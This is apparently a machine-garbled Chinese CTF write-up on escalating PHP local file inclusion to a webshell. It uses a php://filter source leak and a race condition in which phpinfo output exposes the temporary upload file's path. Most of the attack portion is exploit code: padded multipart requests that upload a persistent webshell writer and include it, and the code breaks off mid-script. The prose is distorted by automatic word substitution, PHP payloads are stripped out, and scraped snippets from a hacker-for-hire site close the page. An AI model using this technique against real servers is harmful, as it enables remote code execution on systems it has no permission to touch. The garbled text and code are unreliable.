前语
最近遇到一些文件包括的标题,在本篇文章记载两个trick。
环境布景
复现环境仍是很简略建立的:
例题1(php7)
index.php
dir.php
例题2(php5)
index.php
phpinfo.php
两道题的终究目标都是拿到根目录的flag。
phpinfo+LFI
咱们看到例题2:
咱们有文件包括,那么咱们能够简略的用伪协议走漏源代码:
file=php://filter/read=convert.base64-encode/resource=index.php
这是陈词滥调的问题,无需多讲,要点在于怎么去读取根目录的flag。
最简略想到的是运用包括:
http://ip/index.php?file=/flag
可是由于:
if (strpos($a,'flag')!==false) {
die('nonono');
}
咱们并不能进行读取,那么很简略想到,测验getshell。
这儿咱们能够介绍之一个trick,即运用phpinfo会打印上传缓存文件途径的特性,进行缓存文件包括到达getshell的意图。
咱们简略写一个测验脚本:
import requests
from io import BytesIO
files = {
'file': BytesIO("
能够看到回显中有如下内容:
_FILES["file"]
Array
(
[name] => test.txt
[type] => application/octet-stream
[tmp_name] => /tmp/phptZQ0xZ
[error] => 0
[size] => 26
)
咱们只需运用这一特性,进行包括getshell即可。
首要咱们运用正则匹配,提取暂时文件名:
data = re.search(r"(? ).*", r.content).group(0)
接下来便是条件竞赛的问题:怎么在文件暂时文件消失前,包括到它。
这儿为了事半功倍,我搜集了一些材料和原理:
1.暂时文件在phpinfo页面加载完毕后才会被删去。
2.phpinfo页面会将一切数据都打印出来,包括header。
3.php默许的输出缓冲区巨细为4096,能够理解为php每次回来4096个字节给socket衔接。
(来自ph牛:https://github.com/vulhub/vulhub/tree/master/php/inclusion)
那么咱们的竞赛流程能够总结为:
1.发送包括了webshell的上传数据包给phpinfo页面,一起在header中塞满垃圾数据。
2.由于phpinfo页面会将一切数据都打印出来,垃圾数据会加大phpinfo加载时刻。
3.直接操作原生socket,每次读取4096个字节。只需读取到的字符里包括暂时文件名,就当即发送第二个数据包。
4.此刻,之一个数据包的socket衔接实际上还没完毕,由于php还在持续每次输出4096个字节,所以暂时文件此刻还没有删去。
5.运用这个时刻差,在第二个数据包进行文件包括缝隙的运用,即可成功包括暂时文件,终究getshell。
一起,关于webshell也有考究,由于包括进程比较费事,假如运用一次性一句话木马:
则每次执行命令,都要进行一次包括,耗时耗力,所以咱们挑选包括后写入文件的shell:
');?>
这样一旦包括成功,该shell就会在tmp目录下永久留下一句话木马文件sky,下次运用直接轻松包括即可。
测验进行exp编写:
import os
import socket
import sys
def init(host,port):
padding = 'sky'*2000
payload="""sky test!');?>r"""
request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Disposition: form-data; name="file"; filename="test.php"r
Content-Type: text/phpr
r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Disposition: form-data; name="submit"r
r
Submitr
------WebKitFormBoundary9MWZnWxBey8mbAQ8--r
""" % payload
request1 = """POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: skypadding="""+padding+"""r
Cache-Control: max-age=0r
Upgrade-Insecure-Requests: 1r
Origin: nullr
Accept: """ + padding + """r
User-Agent: """+padding+"""r
Accept-Language: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Length: %sr
Host: %s:%sr
r
%s""" %(len(request1_data),host,port,request1_data)
request2 = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %s:%sr
r
r
"""
return (request1,request2)
def getOffset(host,port,request1):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(request1)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
if i.endswith("0rnrn"):
[1] [2] 黑客接单网
在一次缝隙赏金活动中,挖到个指令注入的洞,我先以时延作为证明向厂商提交该缝隙,厂商以国内网络环境差为由(确实得翻墙)拒收,几回交流,奉告若我能取回指定文件 secret.txt 才认可。方针是个受限环...
前语 本文是 Java Web 工程源代码安全审计实战的第 4 部分,也是最终一部分,根据 WebGoat 工程,解说源码审计出产环境布置装备问题。相比较于前三部分各种高危缝隙的审计和整改。环境布置部...
什么是SQL注入进犯?引证百度百科的解说: sql注入_百度百科: 所谓SQL注入,便是通过把SQL指令刺进到Web表单提交或输入域名或页面恳求的查询字符串,终究抵达诈骗服务器履行歹意的SQL指令。...
我的Web运用安全含糊测验之路 什么是Web运用中的含糊测验? Web运用是根据什么进行传输的?HTTP协议。 含糊测验是什么?Payload随机。 Payload放哪里?HTTP恳求报文格局是什么?...
前语 上一章介绍了Tunneling Proxy技能以及怎样运用这项技能来绕过httponly完成高档的会话盗取。本章评论如安在不违背SOP情况下,经过勾连浏览器进犯Web运用与进犯网络。其中有一些进...
2019年11月,Trend Micro研究人员发现一个含有暗码盗取模块的Trickbot变种,该暗码盗取模块能够从很多的运用中盗取凭据。2019年1月,研究人员发现一个参加了多个功用的Trickbo...